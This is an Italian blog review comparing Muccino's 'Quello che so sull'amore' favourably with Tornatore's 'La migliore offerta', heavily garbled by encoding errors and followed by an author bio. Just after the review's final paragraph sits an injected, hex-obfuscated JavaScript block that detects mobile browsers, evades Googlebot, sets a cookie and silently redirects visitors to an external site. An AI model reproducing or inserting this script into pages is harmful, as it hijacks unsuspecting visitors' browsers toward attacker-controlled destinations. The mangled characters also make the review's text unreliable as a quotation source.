Quello che so sull’amore

Non mi sono mai posta come critica di contrapposizione.
Odio i bastian contrari per definizione.

Non sono certa, ancora, di essere del tutto valida come a�?criticaa�? cinematografica.

E, di certo, Tornatore non mi ha mai esaltato (Uomo delle stelle ed alcune pubblicitA� realizzate per Dolce & Gabbana esclusi). Ma, Gabriele Muccino, non la��ho proprio mai apprezzato.

La��ho iniziato a trovare significativo con Sette Anime.

La ricerca della felicitA� la��ho visto male, ma mi A? parso, di primo parziale acchito, troppo troppo troppo americano.

E che ci vogliam fidare di un popolo che mette il perseguimento (la persecuzione?!) della felicitA� come esito costituzionale? E che, above all, non hanno welfare ma credono di averlo anche parzialmente realizzato, perchA� comprano le case con mutui usurai?!

Eppure…

Al netto della seconda devastante visione de a�?La migliore offertaa�?, non posso che asseverarlo.

La semplicitA� vince.A�Con la ricerca della semplicitA� (sic!), si ottengono suoni armonici.

Il suono armonico, ancorchA� semplice, ma non troppo, A? Quello che so sulla��amore.

Terzo film della trilogia ammeriggana di Gabriele Muccino a�� la��esaltato-bistrattato regista de La��ultimo Bacio a��, Quello che so sulla��amore A? commedia lieve, soave, leggiadra.

Che, come ogni opera letteraria, artistica, culturale di valore, parla sempre della stessa cosa: la��Ammmmmmmmore.

Ma se per Tornatore la��amore, intanto A? amore e non Amore, tutto contorcimenti, vendette, stratagemmi, sdoppiamenti, fingimenti, in Muccino G. pimped version la��Amore A? una cosa semplice, come direbbe il Ferro T. .

E la��amore, Topoloni, A? una cosa semplice.

Nulla quaestio.
PerA? A? chiaro, no?

Tra uno stronzo (ops…), tra una colonna tortile avviluppata su se stessa, dove volendo possiamo per vezzo aggiungere un pescetto (Guzzanti docet) e una colonna dorica, semplice e lineare, quale potremo amare di piA? se siamo ingrippati e schiavi?

Chiaramente una persona nevrotica ama gli atti masturbatori, no?

Cosa ca��A? di meglio che vedere un madonna random snaturarsi, giocare al piccolo citazionista, prendersi financo la briga di far citare se stesso ad un pilastro come Morricone, se si A? un nevrotico by definition, dove il nevrotico BD A? il critico?

Nulla.
Niente.
Nessuno.

E cosA�, quella��oscena e banale puttanata de La miglior offerta (forte del successo riscontrato dalla recensione e dalla seconda visione della pellicola lo dico con tracotanza) pare essere il pezzo di inizio anno, mentre la cruda e lieve semplicitA� cronachistica di Muccino G. viene buttata qual pezza da piedi.

Qual A? in questo contesta la mia visione, a sua volta parziale, parzialissima?

Che, chiaramente, i capolavori sono altri.

NA� la��uno nA� la��altro film rimarranno, quanto meno a giusta ragione, nella��empireo della cinematografia moderna., eppure Muccino G. batte, per Daniela B. Persico, Tornatore G. almeno 2 a 0

Provo a spiegare il perchA�.

I mono-toni toni cupi senza senso del secondo non possono che essere sconfitti dai tenui riposanti colori del Muccino.

Le inquadrature citazioniste ed inautentiche del secondo non possono che essere messe in discussione dalla telecamera lievemente ansimante del Muccino G. .

La��evoluzione contenutistico-registica di Muccino G. non puA? far prevalere questa��ultimo sulla��involuzione del Tornatore G., nato libero e finito schiavo, dio solo sa di cosa, probabilmente della��eterno rimpianto di aver detto tutto, troppo presto.

La storia tenera banale apertamente scontata del primo non puA? che umiliare i continui artifici retorico stilemistici con continui proditori effetti a sorpresa del secondo.

I dialoghi assolutamente irreali del primo non posson che risultare piA? stridenti se si raffrontati alla quotidianitA� dei discorsi del secondo.

Al netto di un cast piA? gigione del primo, forse le singole prove attoriali non superano quelle di Rush o di Sutherland, ma se, come diceva il principe di Bisanzio, A? la somma che fa il totale… direi che algebricamente Butler plus una�� incredibile Zeta-Jones plus una sorprendente Biel (a tacer di Trurman e D. Quaid) possono di certo essere comparati al valore dei singoli addendi.

E poi se il motore fisso che in La miglior offerta deve per necessitA� lynchiane essere deforme, qui ha chiaramente gli occhi di un bambino, meraviglioso, dolorante, felicitante, di che cosa stiamo parlando?

PoichA� la critica ed il mondo in genere sono infami, Muccino G. alla sua opera piA? alta, non solo soccombe a Tornatore G. – papabile candidato a Miglior Film Originale (non straniero in quando in USA prodotto) -, ma a se stesso in genere.

E la sua opera piA? compiuta, potrebbe determinare, per Muccino G., la fine registica in USA.

PerA? Gabriele, fratello carissimo, schifo lo hai fatto ai botteghini Us, qui ancora ti amiamo, lascia stare a�?noia�? critici che troppe volte parliam del far degli altri per tacer del nostro non saper fare, torna a Surriento, o quanto meno in Italia, che ora negli Stati Uniti non ha proprio piA? niente da imparare.A�A�var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Brillante giurista con la fregola dell'alta cucina (dice di sé: "sono una gastrofighetta"), Daniela B. Persico è ciò che diremmo un'esteta, o amante del bello. E' per questo che usa stroncare le pellicole che non sono all'altezza delle sue aspettative: cinefili, cinofili, cinodromi, attenti a voi tre!

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